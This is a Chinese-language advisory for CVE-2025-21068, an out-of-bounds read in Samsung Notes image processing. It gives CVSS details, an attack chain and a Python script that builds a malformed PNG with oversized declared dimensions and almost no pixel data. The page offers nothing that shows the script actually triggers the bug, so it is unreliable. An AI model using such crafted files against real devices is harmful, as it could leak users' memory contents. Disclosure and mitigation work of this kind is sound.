CVE-2025-21068：Samsung Notes图像数据越界读取漏洞

漏洞信息

漏洞编号

CVE-2025-21068

漏洞类型

越界读取（Out-of-bounds Read）

CVSS评分

4.0 中危

攻击向量

本地 (AV:L)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Samsung Notes（三星笔记应用）

漏洞概述

CVE-2025-21068是Samsung Notes（三星笔记）应用程序中存在的一个越界读取（Out-of-Bounds Read）漏洞，由Samsung安全团队（[email protected]）发现并披露。该漏洞影响Samsung Notes 4.4.30.63之前的所有版本，CVSS 3.1评分为4.0分，属于中危级别漏洞。

Samsung Notes是三星设备预装的一款笔记应用程序，广泛应用于Galaxy系列手机和平板设备中，用户可以使用该应用创建、编辑和管理笔记内容，包括插入图片、绘图、录音等多媒体元素。由于该应用属于系统级预装软件，其安全性直接影响大量三星设备用户的数据安全。

该漏洞的根源在于Samsung Notes在处理和读取图像数据时，未能对缓冲区边界进行充分的校验，导致程序可以读取超出预期分配范围的内存区域。虽然漏洞的CVSS评分显示其机密性影响为低、完整性影响为低、可用性影响为无，但由于攻击者可以通过本地方式（无需认证和用户交互）触发该漏洞，仍然存在信息泄露的风险，攻击者可能利用越界读取获取进程内存中的敏感数据，如其他笔记内容、用户凭证或其他内存中的敏感信息。该漏洞已在Samsung 2025年10月的安全公告中披露，建议用户及时更新Samsung Notes至4.4.30.63或更高版本以修复此漏洞。

技术细节

CVE-2025-21068是一个典型的内存安全漏洞，具体类型为越界读取（Out-of-Bounds Read）。该漏洞存在于Samsung Notes应用程序处理图像数据的过程中。

从技术层面分析，当Samsung Notes解析或渲染包含图像数据的笔记内容时，应用内部的图像处理模块在分配缓冲区后，未能对图像数据的实际尺寸与缓冲区大小进行严格的边界校验。正常情况下，应用程序应当验证图像的宽度、高度、像素数据长度等参数是否与预先分配的缓冲区容量相匹配，以防止读取操作超出分配的内存范围。

然而，由于缺少适当的长度检查或边界验证逻辑，当恶意构造的图像数据被传入时，图像处理代码可能按照图像头部声明的尺寸进行读取，而该尺寸可能大于实际分配的缓冲区大小，从而导致越界读取操作。这种越界读取会将相邻内存区域的数据作为图像像素数据返回，攻击者可以通过分析这些异常读取的数据来推断进程内存中的内容。

该漏洞的攻击向量为本地（AV:L），意味着攻击者需要已经在目标设备上拥有某种程度的本地访问权限才能触发漏洞。漏洞无需认证（PR:N）和用户交互（UI:N），这意味着任何能够将恶意图像数据投递到Samsung Notes的本地攻击者都可以触发该漏洞。由于机密性影响为低（C:L），完整性影响为低（I:L），可用性影响为无（A:N），该漏洞主要风险在于信息泄露而非系统破坏或权限提升。

攻击链分析

STEP 1

步骤1：获取本地访问权限

攻击者需要在目标三星设备上获得本地访问权限。由于漏洞攻击向量为本地（AV:L），攻击者可以通过恶意应用、物理接触设备或其他本地攻击途径获得对设备的访问能力。

STEP 2

步骤2：构造恶意图像文件

攻击者精心构造一个包含畸形数据的图像文件（如PNG/JPG等），该文件的图像头部声明的尺寸与实际像素数据不匹配，用于触发Samsung Notes图像处理模块中的越界读取漏洞。

STEP 3

步骤3：将恶意图像导入Samsung Notes

攻击者通过本地文件导入、共享接收或其他方式将包含恶意图像的笔记内容投递到目标设备上的Samsung Notes应用程序中。

STEP 4

步骤4：触发越界读取

当用户或系统自动触发Samsung Notes对包含恶意图像的笔记进行渲染或处理时，图像处理模块按照头部声明的尺寸执行读取操作，由于缓冲区边界校验缺失，程序读取超出分配范围的内存区域。

STEP 5

步骤5：信息泄露

越界读取的内存数据被返回给攻击者，攻击者可以分析这些数据以获取进程内存中的敏感信息，如其他笔记内容、加密密钥或其他内存中的敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-21068 PoC - Samsung Notes OOB Read via Malicious Image
# This PoC demonstrates the concept of triggering an out-of-bounds read
# in Samsung Notes (< 4.4.30.63) through a crafted image file.

import struct
import zlib

def create_malicious_image(output_path):
    """
    Create a crafted image with mismatched dimensions to trigger
    out-of-bounds read in Samsung Notes image processing module.
    The key is to declare large image dimensions in the header while
    providing minimal actual pixel data, causing the parser to read
    beyond the allocated buffer.
    """
    # PNG signature
    png_signature = b'\x89PNG\r\n\x1a\n'

    # IHDR chunk - declare large dimensions but small actual data
    width = 4096   # Declared width (large)
    height = 4096  # Declared height (large)
    bit_depth = 8
    color_type = 2  # RGB
    compression = 0
    filter_method = 0
    interlace = 0

    ihdr_data = struct.pack('>IIBBBBB', width, height, bit_depth,
                            color_type, compression, filter_method, interlace)
    ihdr_crc = zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff
    ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc)

    # IDAT chunk - provide intentionally small/malformed pixel data
    # This mismatch between declared size and actual data triggers OOB read
    raw_data = b'\x00' * 16  # Minimal data, far less than declared image size
    compressed_data = zlib.compress(raw_data)
    idat_crc = zlib.crc32(b'IDAT' + compressed_data) & 0xffffffff
    idat_chunk = struct.pack('>I', len(compressed_data)) + b'IDAT' + compressed_data + struct.pack('>I', idat_crc)

    # IEND chunk
    iend_crc = zlib.crc32(b'IEND') & 0xffffffff
    iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', iend_crc)

    # Assemble the malicious PNG
    with open(output_path, 'wb') as f:
        f.write(png_signature)
        f.write(ihdr_chunk)
        f.write(idat_chunk)
        f.write(iend_chunk)

    print(f"[*] Malicious image created: {output_path}")
    print(f"[*] Declared dimensions: {width}x{height}")
    print(f"[*] Actual pixel data: truncated (triggers OOB read)")

# Usage:
# 1. Generate the malicious image
create_malicious_image("malicious_note_image.png")

# 2. Import this image into Samsung Notes (< 4.4.30.63)
# 3. When Samsung Notes attempts to render/process the image,
#    the out-of-bounds read vulnerability is triggered
# 4. Monitor memory access patterns or use ASAN to confirm the OOB read

影响范围

Samsung Notes < 4.4.30.63

防御指南

临时缓解措施

在无法立即升级的情况下，建议采取以下临时缓解措施：1）避免打开来源不明的笔记或图像文件；2）限制Samsung Notes对外部图像内容的导入；3）关闭Samsung Notes的自动同步和共享功能，减少恶意内容传播途径；4）监控Samsung Notes进程的异常行为；5）尽快通过Samsung Galaxy Store或Google Play Store将Samsung Notes更新至4.4.30.63或更高版本。